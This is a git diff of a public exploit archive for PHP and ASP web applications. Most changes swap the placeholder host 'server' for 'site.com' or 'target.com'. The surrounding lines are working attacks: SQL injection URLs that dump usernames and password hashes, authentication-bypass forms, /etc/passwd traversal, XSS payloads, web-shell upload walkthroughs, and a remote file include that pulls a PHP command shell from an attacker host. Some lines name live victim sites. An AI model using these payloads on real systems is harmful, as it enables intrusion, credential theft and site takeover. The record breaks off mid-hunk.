+http://somesite.com/uploads/pictures/pictures/[user]/[picture number]_shell.php The location of the file can also easily be found by using your browser's "view image" function where the image would appear regularly. diff --git a/platforms/php/webapps/7639.txt b/platforms/php/webapps/7639.txt index 0e73b4e8f..613d9ba63 100755 --- a/platforms/php/webapps/7639.txt +++ b/platforms/php/webapps/7639.txt @@ -10,7 +10,7 @@ download from:http://downloads.sourceforge.net/phpscribe/phpscribe-0.9.zip?modti *************************************************************************** vul: -www.server/path/config/user.cfg +www.site.com/path/config/user.cfg ................................ $PS_USER_CFG['DATABASE_HOST']=""; $PS_USER_CFG['DATABASE_USER']=""; diff --git a/platforms/php/webapps/7640.txt b/platforms/php/webapps/7640.txt index cbcd68682..6d9b7b584 100755 --- a/platforms/php/webapps/7640.txt +++ b/platforms/php/webapps/7640.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) ------------------oOO---(_)---OOo----------------- | __ __ | diff --git a/platforms/php/webapps/7641.txt b/platforms/php/webapps/7641.txt index e418eb476..f20c62d4f 100755 --- a/platforms/php/webapps/7641.txt +++ b/platforms/php/webapps/7641.txt @@ -1,4 +1,4 @@ -####################################################################################### + ####################################################################################### # # # ...:::::powernews 2.5.4 SQL Injection Vulnerability::::.... # ####################################################################################### @@ -12,7 +12,7 @@ greetz:to my best friend in the world hadi_aryaie2004 & my lovely friend arash(imm02tal) ------- exploit: -http://server/news.php?newsid='/**/union/**/select/**/1,2,3,4,concat(nickname,0x3e,password),6,7,8,9/**/from/**/pn_users/* +http://site.com/news.php?newsid='/**/union/**/select/**/1,2,3,4,concat(nickname,0x3e,password),6,7,8,9/**/from/**/pn_users/* ---- young iranian h4ck3rz diff --git a/platforms/php/webapps/7642.txt b/platforms/php/webapps/7642.txt index b39130137..3cd273019 100755 --- a/platforms/php/webapps/7642.txt +++ b/platforms/php/webapps/7642.txt @@ -1,4 +1,4 @@ -####################################################################################### + ####################################################################################### # # # ...:::::PowerClan 1.14a (Auth Bypass) SQL Injection Vulnerability::::.... # ####################################################################################### diff --git a/platforms/php/webapps/7669.pl b/platforms/php/webapps/7669.pl index 2445170ce..210eaf579 100755 --- a/platforms/php/webapps/7669.pl +++ b/platforms/php/webapps/7669.pl @@ -24,7 +24,7 @@ print "\t\t-------------------------------------------------------------\n\n"; use LWP::UserAgent; -print "\nSite ismi Target page:[http://wwww.server/path/]: "; +print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $column_name="concat(username,0x3a,password)"; diff --git a/platforms/php/webapps/7670.pl b/platforms/php/webapps/7670.pl index 40f347b46..a824f09b3 100755 --- a/platforms/php/webapps/7670.pl +++ b/platforms/php/webapps/7670.pl @@ -24,7 +24,7 @@ print "\t\t-------------------------------------------------------------\n\n"; use LWP::UserAgent; -print "\nSite ismi Target page:[http://wwww.server/path/]: "; +print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $column_name="concat(username,0x3a,password)"; diff --git a/platforms/php/webapps/7680.txt b/platforms/php/webapps/7680.txt index ee8396d49..ba9cfd294 100755 --- a/platforms/php/webapps/7680.txt +++ b/platforms/php/webapps/7680.txt @@ -1,4 +1,4 @@ -+++++++++++ EZpack (XSS/SQL) Vulnerability ++++++++++ + +++++++++++ EZpack (XSS/SQL) Vulnerability ++++++++++ ************************************************************************ ProDuct Name : EZpack Download : http://www2.se-ed.net/fatcoder/?mode=download diff --git a/platforms/php/webapps/7686.txt b/platforms/php/webapps/7686.txt index fad517446..f2be9d3f9 100755 --- a/platforms/php/webapps/7686.txt +++ b/platforms/php/webapps/7686.txt @@ -1,4 +1,4 @@ -__ .__ .___ __ .__ + __ .__ .___ __ .__ ____ ____________/ |______ |__| ____ __| _/____ _____ _/ |_| |__ _/ ___\/ __ \_ __ \ __\__ \ | |/ \ / __ |/ __ \\__ \\ __\ | \ \ \__\ ___/| | \/| | / __ \| | | \/ /_/ \ ___/ / __ \| | | Y \ diff --git a/platforms/php/webapps/7687.txt b/platforms/php/webapps/7687.txt index 51054acf2..1e5105b8d 100755 --- a/platforms/php/webapps/7687.txt +++ b/platforms/php/webapps/7687.txt @@ -1,4 +1,4 @@ -==:RFI/LFI:== + ==:RFI/LFI:== ===================== diff --git a/platforms/php/webapps/7689.txt b/platforms/php/webapps/7689.txt index 6b2cbee8e..6ee2fc371 100755 --- a/platforms/php/webapps/7689.txt +++ b/platforms/php/webapps/7689.txt @@ -10,7 +10,7 @@ download from:http://www.freedville.com/oss/BlogHelper.zip *************************************************************************** vul: -www.server/path/common_db.inc +www.site.com/path/common_db.inc ................................ $dbhost = ""; $dbusername = ""; diff --git a/platforms/php/webapps/7690.txt b/platforms/php/webapps/7690.txt index 010e61b6e..a5596cee8 100755 --- a/platforms/php/webapps/7690.txt +++ b/platforms/php/webapps/7690.txt @@ -1,4 +1,4 @@ -Remote Config File Disclosure + Remote Config File Disclosure ---------------------------------------------------- script: PollHelper @@ -8,7 +8,7 @@ download from:http://www.freedville.com/oss/PollHelper.zip *************************************************************************** vul: -www.server/path/poll.inc +www.site.com/path/poll.inc ............................... $dbhost = ""; $dbusername = ""; diff --git a/platforms/php/webapps/7716.pl b/platforms/php/webapps/7716.pl index d301b56db..5ee814b8a 100755 --- a/platforms/php/webapps/7716.pl +++ b/platforms/php/webapps/7716.pl @@ -19,7 +19,7 @@ print "\t\t|Joomla Module com_xevidmegahd(catid=)Remote SQL Injection Vuln|\n\n" print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n"; print "\t\t-------------------------------------------------------------\n\n"; use LWP::UserAgent; -print "\nSite ismi Target page:[http://wwww.server/path/]: "; +print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $column_name="concat(username,0x3a,password)"; $table_name="jos_users"; diff --git a/platforms/php/webapps/7717.pl b/platforms/php/webapps/7717.pl index aeb8abb76..6708a098e 100755 --- a/platforms/php/webapps/7717.pl +++ b/platforms/php/webapps/7717.pl @@ -19,7 +19,7 @@ print "\t\t|Joomla Module com_jashowcase(section&id=)Remote SQL Injection Vuln|\ print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n"; print "\t\t-------------------------------------------------------------\n\n"; use LWP::UserAgent; -print "\nSite ismi Target page:[http://wwww.server/path/]: "; +print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $column_name="concat(username,0x3a,password)"; $table_name="jos_users"; diff --git a/platforms/php/webapps/7731.txt b/platforms/php/webapps/7731.txt index 486a6a9f0..a5b86e9c2 100755 --- a/platforms/php/webapps/7731.txt +++ b/platforms/php/webapps/7731.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -16,11 +16,11 @@ # Script site: http://fttss.sourceforge.net/ # Download: http://sourceforge.net/projects/fttss/ # - # [RCE] Vuln: http://server/fttss/TFLivre.php + # [RCE] Vuln: http://site.com/fttss/TFLivre.php # # POST /fttss/TFLivre.php HTTP/1.1 # - # Host: server + # Host: site.com # User-Agent: Mozilla/5.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: pl,en-us;q=0.7,en;q=0.3 diff --git a/platforms/php/webapps/7738.txt b/platforms/php/webapps/7738.txt index 47e436bf8..1b7bd6093 100755 --- a/platforms/php/webapps/7738.txt +++ b/platforms/php/webapps/7738.txt @@ -12,11 +12,11 @@ inurl:plugins/wp-forum ####################### Example : -http://server/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=[SQL] +http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=[SQL] Exploit: -http://server/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,concat(user_login,0x2f,user_pass,0x2f,user_email),5,6,7+from+wp_users/* +http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,concat(user_login,0x2f,user_pass,0x2f,user_email),5,6,7+from+wp_users/* ####################### diff --git a/platforms/php/webapps/7740.txt b/platforms/php/webapps/7740.txt index d141cdfbf..6aa2a9cae 100755 --- a/platforms/php/webapps/7740.txt +++ b/platforms/php/webapps/7740.txt @@ -1,4 +1,4 @@ -====remote shell upload==== + ====remote shell upload==== ================================ script: PWP Wiki Processor 1-5-1 @@ -14,7 +14,7 @@ www.site..com/path/wiki/run.php?iRequest=upload/UploadList (upload shell.php.flv) -shell: www.server/path/wiki/upload/shell.php.flv +shell: www.site.com/path/wiki/upload/shell.php.flv ------------------------------------------------------------ dork: "(Powered by PWP Version 1-5-1 )" && inurl:"/wiki/run.php" diff --git a/platforms/php/webapps/7743.txt b/platforms/php/webapps/7743.txt index 039cfa412..374f766fd 100755 --- a/platforms/php/webapps/7743.txt +++ b/platforms/php/webapps/7743.txt @@ -1,4 +1,4 @@ ------------------:Remote File Include:----------------- + -----------------:Remote File Include:----------------- ------------------------------------------------------- diff --git a/platforms/php/webapps/7805.txt b/platforms/php/webapps/7805.txt index 563653230..993b81f0c 100755 --- a/platforms/php/webapps/7805.txt +++ b/platforms/php/webapps/7805.txt @@ -7,11 +7,11 @@ Vulnerability : (DD/XSS/CM) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/database/topsites.mdb +http://site.com/[Path]/database/topsites.mdb [XSS]: -http://server/rankup.asp?siteID=<script>alert(1369)</script> +http://site.com/rankup.asp?siteID=<script>alert(1369)</script> [CM]: -http://server/rankup.asp?siteID=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'> +http://site.com/rankup.asp?siteID=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'> --------------------------------- Victem : http://www.top50.co.nz diff --git a/platforms/php/webapps/7806.txt b/platforms/php/webapps/7806.txt index c55ac3801..bd8e6a0f3 100755 --- a/platforms/php/webapps/7806.txt +++ b/platforms/php/webapps/7806.txt @@ -7,11 +7,11 @@ Vulnerability : (SQL/DD/XSS) --------------------------------------------------------- ######################################################### [SQL]: -http://server/[Path]/index.asp?view=archive&day=[SQL] +http://site.com/[Path]/index.asp?view=archive&day=[SQL] [DD]: -http://server/[Path]/database/Blog.mdb +http://site.com/[Path]/database/Blog.mdb [XSS]: -http://server/[Path]/index.asp?view='+style='background:url(JaVaScRiPt:alert(1369))'+invalidparam='&day=1&month=12&year=2008 +http://site.com/[Path]/index.asp?view='+style='background:url(JaVaScRiPt:alert(1369))'+invalidparam='&day=1&month=12&year=2008 --------------------------------- # milw0rm.com [2009-01-16] diff --git a/platforms/php/webapps/7813.txt b/platforms/php/webapps/7813.txt index 0f8e95cbc..f85ae80a8 100755 --- a/platforms/php/webapps/7813.txt +++ b/platforms/php/webapps/7813.txt @@ -1,4 +1,4 @@ ---:local file include:-- + --:local file include:-- --------------------------------- script:Simple PHP Newsletter 1.5 diff --git a/platforms/php/webapps/7818.txt b/platforms/php/webapps/7818.txt index b3aa4c0b9..c8d65e3b8 100755 --- a/platforms/php/webapps/7818.txt +++ b/platforms/php/webapps/7818.txt @@ -1,4 +1,4 @@ ---:local file include:-- + --:local file include:-- --------------------------------- script:simple content management system v 1 diff --git a/platforms/php/webapps/7819.txt b/platforms/php/webapps/7819.txt index 55c6f34cf..19e2cc1d5 100755 --- a/platforms/php/webapps/7819.txt +++ b/platforms/php/webapps/7819.txt @@ -1,4 +1,4 @@ -.::ESPG 1.72 File Disclosure Vulnerability::. + .::ESPG 1.72 File Disclosure Vulnerability::. diff --git a/platforms/php/webapps/7835.htm b/platforms/php/webapps/7835.htm index 8536ff0e4..b86615fea 100755 --- a/platforms/php/webapps/7835.htm +++ b/platforms/php/webapps/7835.htm @@ -34,7 +34,7 @@ if(isset($_POST['submit'])) <form method="POST"> <p align="center"> -Site: www. <input type="text" name="site" value="server/path" /><br +Site: www. <input type="text" name="site" value="site.com/path" /><br /> (without http,www and trailing slash)<br /> Post ID: <input type="text" name="post_id" value="1" /><br /><br /> <input type="submit" name="submit" value="Delete" /> diff --git a/platforms/php/webapps/7841.txt b/platforms/php/webapps/7841.txt index 4601a9739..bf8acb494 100755 --- a/platforms/php/webapps/7841.txt +++ b/platforms/php/webapps/7841.txt @@ -1,4 +1,4 @@ - + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/7844.py b/platforms/php/webapps/7844.py index 01d377785..bcd36601c 100755 --- a/platforms/php/webapps/7844.py +++ b/platforms/php/webapps/7844.py @@ -17,7 +17,7 @@ if i!=3: print """\n\n \tSad Raven's Click Counter v1.0 (passwd.dat) \tUsage:exploit.py [targetsite] [path] - \tExample:exploit.py server /Path/ + \tExample:exploit.py www.target.com /Path/ \tResult=$Password['Admin']="c71032e32b9ce349f99f655e68d7324g" \t $Password['Admin Username']="Admin Password [MD5]" \n\n""" else: diff --git a/platforms/php/webapps/7864.py b/platforms/php/webapps/7864.py index 18fdd764a..ca9ee7513 100755 --- a/platforms/php/webapps/7864.py +++ b/platforms/php/webapps/7864.py @@ -5,7 +5,7 @@ #Exploit Coded by: Pouya_Server #Exploit Discovered by: Pouya_Server #Contact Me : Pouya.s3rver@Gmail.com -#Epoll system login page = www.server/[Path]/admin.php +#Epoll system login page = www.site.com/[Path]/admin.php import urllib import sys import parser @@ -17,7 +17,7 @@ if i!=3: print """\n\n \tEpoll System (password.dat) \tUsage:exploit.py [targetsite] [path] - \tExample:exploit.py server /Path/ + \tExample:exploit.py www.target.com /Path/ \tResult= Admin Pass [MD5]" \n\n""" else: diff --git a/platforms/php/webapps/7874.txt b/platforms/php/webapps/7874.txt index 5c301508b..d7f82a486 100755 --- a/platforms/php/webapps/7874.txt +++ b/platforms/php/webapps/7874.txt @@ -5,7 +5,7 @@ ############################################# -Exploit : server/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin +Exploit : target.com/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin Example :http://shop-inet.ru/shop/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin diff --git a/platforms/php/webapps/7884.txt b/platforms/php/webapps/7884.txt index 4d08bbecc..633653cdc 100755 --- a/platforms/php/webapps/7884.txt +++ b/platforms/php/webapps/7884.txt @@ -12,16 +12,16 @@ Xpl: -1.First Register Into The Site ( link: www.server/[path]/register.php ) +1.First Register Into The Site ( link: www.site.com/[path]/register.php ) 2.Login With Your Username & Password 3.Choose A Picture For Your Avatar You Can Use All Extention File Ex: c99.php [In Edit Profile] Or [Register Page] You Can Select The File -4.Your Shell Will Be Appear In This Folder ( link: www.server/[path]/images/author_pics/[random id]_avatar.php ) +4.Your Shell Will Be Appear In This Folder ( link: www.site.com/[path]/images/author_pics/[random id]_avatar.php ) -5.Go To This Url: www.server/[path]/profile.php?author_id=[Your Author ID] Then Right Click On The Pic And Use Properties To Find Out The Link Of Shell Script +5.Go To This Url: www.site.com/[path]/profile.php?author_id=[Your Author ID] Then Right Click On The Pic And Use Properties To Find Out The Link Of Shell Script 6.Hack The Site ;) diff --git a/platforms/php/webapps/7885.txt b/platforms/php/webapps/7885.txt index 540c5a806..af9be56ea 100755 --- a/platforms/php/webapps/7885.txt +++ b/platforms/php/webapps/7885.txt @@ -23,7 +23,7 @@ SQL Injection: This bug allows a guest to view username and password (md5) of a registered user with the specified id (usually 1 for the admin) - http://www.server/path/show_post.php?id=-1'+UNION+ALL+SELECT+1,concat('username: ', username),concat('password: ', password),4,5,6,7+FROM+users+WHERE+id=1%23 + http://www.site.com/path/show_post.php?id=-1'+UNION+ALL+SELECT+1,concat('username: ', username),concat('password: ', password),4,5,6,7+FROM+users+WHERE+id=1%23 ############################################################################ diff --git a/platforms/php/webapps/7896.php b/platforms/php/webapps/7896.php index e6e724f18..f62170d13 100755 --- a/platforms/php/webapps/7896.php +++ b/platforms/php/webapps/7896.php @@ -69,7 +69,7 @@ if (count($argv)!=4){ echo "BLIND SQL INJECTION Lore 1.5.6 By OzX\n"; echo "USO :> php ".$argv[0]." url id -u [Obtener Usuario]\n"; echo "USO :> php ".$argv[0]."p url id -p [Obtener Password]\n"; - echo "Ejemplo :> php ".$argv[0].".php http://www.webserver/article.php?id=009 1 -u \n"; + echo "Ejemplo :> php ".$argv[0].".php http://www.website.com/article.php?id=009 1 -u \n"; }else{ preg_match_all("/(comment\.php\?article_id)/", GET($url), $dat, PREG_SET_ORDER); diff --git a/platforms/php/webapps/7898.txt b/platforms/php/webapps/7898.txt index ba1fe8e4e..3ee5b7d50 100755 --- a/platforms/php/webapps/7898.txt +++ b/platforms/php/webapps/7898.txt @@ -28,7 +28,7 @@ SQL Injection: (md5) of a registered user with the specified id (usually 1 for the admin) - http://www.server/path/submit_post.php?draft=-1'+UNION+ALL+SELECT+1,NULL,NULL,CONCAT(username,char(58),password)+FROM+users+WHERE+id=1%23 + http://www.site.com/path/submit_post.php?draft=-1'+UNION+ALL+SELECT+1,NULL,NULL,CONCAT(username,char(58),password)+FROM+users+WHERE+id=1%23 ############################################################################ diff --git a/platforms/php/webapps/7899.txt b/platforms/php/webapps/7899.txt index 192f91e26..a4a1b7239 100755 --- a/platforms/php/webapps/7899.txt +++ b/platforms/php/webapps/7899.txt @@ -40,7 +40,7 @@ Authentication Bypass Exploit </head> <body> <form -action="http://www.server/path/offline_auth.php" method="POST"> +action="http://www.site.com/path/offline_auth.php" method="POST"> <input type="text" name="username" value="admin'#" size="15"> <input type="hidden" name="password"> diff --git a/platforms/php/webapps/7900.txt b/platforms/php/webapps/7900.txt index 75cd6c928..b689a75ed 100755 --- a/platforms/php/webapps/7900.txt +++ b/platforms/php/webapps/7900.txt @@ -1,4 +1,4 @@ - + diff --git a/platforms/php/webapps/7932.txt b/platforms/php/webapps/7932.txt index d00b398e6..f6904a366 100755 --- a/platforms/php/webapps/7932.txt +++ b/platforms/php/webapps/7932.txt @@ -11,7 +11,7 @@ ######################################## SQL-injection, Auth Bypass -[+] URL: http://server/skalinks_1_5/admin/ +[+] URL: http://target.com/skalinks_1_5/admin/ [+] Admin name : 1' OR 1=1/* Bug Function: diff --git a/platforms/php/webapps/7939.txt b/platforms/php/webapps/7939.txt index 337845664..467abf367 100755 --- a/platforms/php/webapps/7939.txt +++ b/platforms/php/webapps/7939.txt @@ -1,4 +1,4 @@ --------------:multi local file include:------------ + -------------:multi local file include:------------ --------------- script:AJA 1.2 diff --git a/platforms/php/webapps/7977.txt b/platforms/php/webapps/7977.txt index e86548df2..d0a6d09f7 100755 --- a/platforms/php/webapps/7977.txt +++ b/platforms/php/webapps/7977.txt @@ -1,4 +1,4 @@ ------------------:local File Include:----------------- + -----------------:local File Include:----------------- ------------------------------------------------------- script: syntax-desktop 2-7 diff --git a/platforms/php/webapps/8002.txt b/platforms/php/webapps/8002.txt index b2f2c4be9..a77da229c 100755 --- a/platforms/php/webapps/8002.txt +++ b/platforms/php/webapps/8002.txt @@ -1,4 +1,4 @@ - + /************************************************************************/ /* */ /* CAFE ENGINE */ diff --git a/platforms/php/webapps/8012.txt b/platforms/php/webapps/8012.txt index bbe249ac2..dc017e2ea 100755 --- a/platforms/php/webapps/8012.txt +++ b/platforms/php/webapps/8012.txt @@ -3,7 +3,7 @@ Download: http://www.ontarioabandonedplaces.com/ipguardian/ABetterMemberBasedASPPhotoGallery.zip Demo: www.ontarioabandonedplaces.com/ipguardian/gallery -Exploit:server/scriptpath/view.asp?entry=-1+union+select+0,title,2,creator,Longitude,5,pics+from+photos +Exploit:www.target.com/scriptpath/view.asp?entry=-1+union+select+0,title,2,creator,Longitude,5,pics+from+photos Dork:intitle:"A Better ASP User Gallery" Live Demo: www.ontarioabandonedplaces.com/ipguardian/gallery/view.asp?entry=-1+union+select+0,title,2,creator,Longitude,5,pics+from+photos diff --git a/platforms/php/webapps/8018.txt b/platforms/php/webapps/8018.txt index f05c43836..f314d5ecf 100755 --- a/platforms/php/webapps/8018.txt +++ b/platforms/php/webapps/8018.txt @@ -10,13 +10,13 @@ Developer has not been notified. Live demo: -Injection: server/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users-- +Injection: www.target.com/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users-- http://www.radikalungdom.dk/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users-- Admin login site: -http://server/flexadmin/ +http://target.com/flexadmin/ Greetz, agonx, kollek, cardingnu diff --git a/platforms/php/webapps/8025.txt b/platforms/php/webapps/8025.txt index d0e09bb5d..731c7953f 100755 --- a/platforms/php/webapps/8025.txt +++ b/platforms/php/webapps/8025.txt @@ -1,4 +1,4 @@ ------------------[-Rfi/Lfi-]----------------- + -----------------[-Rfi/Lfi-]----------------- script:webframe 0.76 diff --git a/platforms/php/webapps/8027.txt b/platforms/php/webapps/8027.txt index 438f7ec3e..0b79d2146 100755 --- a/platforms/php/webapps/8027.txt +++ b/platforms/php/webapps/8027.txt @@ -1,4 +1,4 @@ -++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + Gaeste 1.6 (gastbuch.php) Remote File Disclosure Vulnerability + + + diff --git a/platforms/php/webapps/8066.txt b/platforms/php/webapps/8066.txt index 93ab5f7b3..a1c166d22 100755 --- a/platforms/php/webapps/8066.txt +++ b/platforms/php/webapps/8066.txt @@ -1,4 +1,4 @@ ------------------[remote file include]----------------- + -----------------[remote file include]----------------- script: YACS version 8.11 diff --git a/platforms/php/webapps/8101.txt b/platforms/php/webapps/8101.txt index 2366f73ba..f281de0ec 100755 --- a/platforms/php/webapps/8101.txt +++ b/platforms/php/webapps/8101.txt @@ -24,7 +24,7 @@ AND pass= '" . $pass . "'", $db_conn) or die (mysql_error()); [EXPLOIT] -[URL] = http://www.server/login.php +[URL] = http://www.site.com/login.php you can inject SQL code in the USER space to bypass the admin login diff --git a/platforms/php/webapps/8139.txt b/platforms/php/webapps/8139.txt index 2a6015e2b..f292cd111 100755 --- a/platforms/php/webapps/8139.txt +++ b/platforms/php/webapps/8139.txt @@ -84,7 +84,7 @@ addslashes($body) . "')"; - [A] SQL Injection -http://www.server/path/blogAdmin/jobs.php?j=login&p=1'or'1'='1 +http://www.site.com/path/blogAdmin/jobs.php?j=login&p=1'or'1'='1 - [B] XSS Persistent diff --git a/platforms/php/webapps/814.txt b/platforms/php/webapps/814.txt index 70e18e33d..0f19c5807 100755 --- a/platforms/php/webapps/814.txt +++ b/platforms/php/webapps/814.txt @@ -2,6 +2,6 @@ Exploit: -http://www.server/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/* +http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/* # milw0rm.com [2005-02-12] diff --git a/platforms/php/webapps/8141.txt b/platforms/php/webapps/8141.txt index 9ce1853cd..705b8acef 100755 --- a/platforms/php/webapps/8141.txt +++ b/platforms/php/webapps/8141.txt @@ -100,7 +100,7 @@ commands using Apache logs. - [A] SQL Injection -http://www.server/path/comment.php?id=-1' UNION ALL SELECT +http://www.site.com/path/comment.php?id=-1' UNION ALL SELECT NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23 @@ -112,7 +112,7 @@ NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23 </head> <body> <form -action="http://www.server/path/admin/admin.login.php?go=1" +action="http://www.site.com/path/admin/admin.login.php?go=1" method="POST"> <input type="hidden" name="username" value="-1' UNION ALL SELECT @@ -128,6 +128,6 @@ UNION ALL SELECT Tested on MAC OSX: /Applications/xampp/xamppfiles/htdocs/cbblog/admin/admin.php -http://www.server/path/admin/admin.php?act=/../../../../../../../etc/passwd%00 +http://www.site.com/path/admin/admin.php?act=/../../../../../../../etc/passwd%00 # milw0rm.com [2009-03-03] diff --git a/platforms/php/webapps/8150.txt b/platforms/php/webapps/8150.txt index a7a9cfd60..57909e383 100755 --- a/platforms/php/webapps/8150.txt +++ b/platforms/php/webapps/8150.txt @@ -39,7 +39,7 @@ Message: you can also send the user cookie to another site Non-persistent XSS: -http://server/index.php?page=search&search=%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&author_id=&author=&startdate=&enddate=&pf=1&topic= +http://site.com/index.php?page=search&search=%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&author_id=&author=&startdate=&enddate=&pf=1&topic= Response: diff --git a/platforms/php/webapps/8161.txt b/platforms/php/webapps/8161.txt index ef789682c..5d56628b8 100755 --- a/platforms/php/webapps/8161.txt +++ b/platforms/php/webapps/8161.txt @@ -63,14 +63,14 @@ This bug allows a guest to bypass authentication. - [A] Multiple SQL Injection -http://www.server/path/viewforum.php?id=-1' UNION ALL SELECT 1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM celer_users%23 +http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT 1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM celer_users%23 -http://www.server/path/viewtopic.php?id=1' UNION ALL SELECT 1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL FROM celer_users%23 +http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT 1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL FROM celer_users%23 - [B] Information Disclosure -http://www.server/path/showme.php?user=admin +http://www.site.com/path/showme.php?user=admin - [C] Authentication Bypass diff --git a/platforms/php/webapps/8164.php b/platforms/php/webapps/8164.php index 60839ad01..dca8eef7a 100755 --- a/platforms/php/webapps/8164.php +++ b/platforms/php/webapps/8164.php @@ -16,7 +16,7 @@ ini_set("max_execution_time",0); print_r(' ############################################################### # com_ijoomla_archiv Blind SQL Injection Exploit -# php '.$argv[0].' http://www.server/ real id +# php '.$argv[0].' http://www.site.com/ real id # Demo : # php '.$argv[0].' http://thecatholicspirit.com/ 17 # diff --git a/platforms/php/webapps/8166.txt b/platforms/php/webapps/8166.txt index 506d2961c..9269215ec 100755 --- a/platforms/php/webapps/8166.txt +++ b/platforms/php/webapps/8166.txt @@ -99,11 +99,11 @@ username='".$globals['username']."'", $globals['dbh'] ),0,0); shell.txt: <?php system($_GET['cmd']); ?> -http://www.server/path/?npage=-1&content_dir=http://www.evilserver/shell.txt%00&cmd=ls -http://www.server/path/?npage=1&content_dir=http://www.evilserver/shell.txt%00&cmd=ls +http://www.site.com/path/?npage=-1&content_dir=http://www.evilsite.com/shell.txt%00&cmd=ls +http://www.site.com/path/?npage=1&content_dir=http://www.evilsite.com/shell.txt%00&cmd=ls -http://www.server/path/?npage=-1&content_dir=../../../../etc/passwd%00 -http://www.server/path/?npage=1&content_dir=../../../../etc/passwd%00 +http://www.site.com/path/?npage=-1&content_dir=../../../../etc/passwd%00 +http://www.site.com/path/?npage=1&content_dir=../../../../etc/passwd%00 - [B] Authentication Bypass @@ -113,7 +113,7 @@ http://www.server/path/?npage=1&content_dir=../../../../etc/passwd%00 <title>Wili-CMS 0.4.0 Authentication Bypass Exploit</title> </head> <body> - <form action="http://www.server/path/admin.php" method="POST"> + <form action="http://www.site.com/path/admin.php" method="POST"> <input type="text" name="uname" value="admin"> <input type="hidden" name="password" value="1') UNION ALL SELECT 1#"> <input type="hidden" name="mode" value="loggedin"> diff --git a/platforms/php/webapps/8167.txt b/platforms/php/webapps/8167.txt index ac6f822f6..410bdbc68 100755 --- a/platforms/php/webapps/8167.txt +++ b/platforms/php/webapps/8167.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -16,7 +16,7 @@ # Script site: http://isiajax.sourceforge.net/ # Download: http://sourceforge.net/project/showfiles.php?group_id=169754 # - # [SQL] Vuln: http://server/isiAJAX/ejemplo/paises.php?id=-1+UNION+SELECT+1,USER()-- + # [SQL] Vuln: http://site.com/isiAJAX/ejemplo/paises.php?id=-1+UNION+SELECT+1,USER()-- # http://isiajax.sourceforge.net/demos/practicos/busqueda/paises.php?id=-1+UNION+SELECT+1,CONCAT_WS(char(58),id,nombre,apellidos,id_pais,edad,telefono,email)+from+usuarios-- # # Bug: ./isiAJAX/ejemplo/paises.php (linez: 10-14) diff --git a/platforms/php/webapps/8168.txt b/platforms/php/webapps/8168.txt index a8920e63a..0022e6a9a 100755 --- a/platforms/php/webapps/8168.txt +++ b/platforms/php/webapps/8168.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,7 +17,7 @@ # Script site: http://www.oneorzero.com/ # Download: http://www.oneorzero.com/index.php?controller=main_general&option=main_downloads # - # [LFI] Vuln: http://server/oozv1657/common/login.php?default_language=../../../../../../../../../../etc/passwd%00 + # [LFI] Vuln: http://site.com/oozv1657/common/login.php?default_language=../../../../../../../../../../etc/passwd%00 # # Bug: ./oozv1657/common/login.php (line: 104) # diff --git a/platforms/php/webapps/8170.txt b/platforms/php/webapps/8170.txt index 10633be34..3e5b53144 100755 --- a/platforms/php/webapps/8170.txt +++ b/platforms/php/webapps/8170.txt @@ -44,9 +44,9 @@ the password of a registered user. - [A] 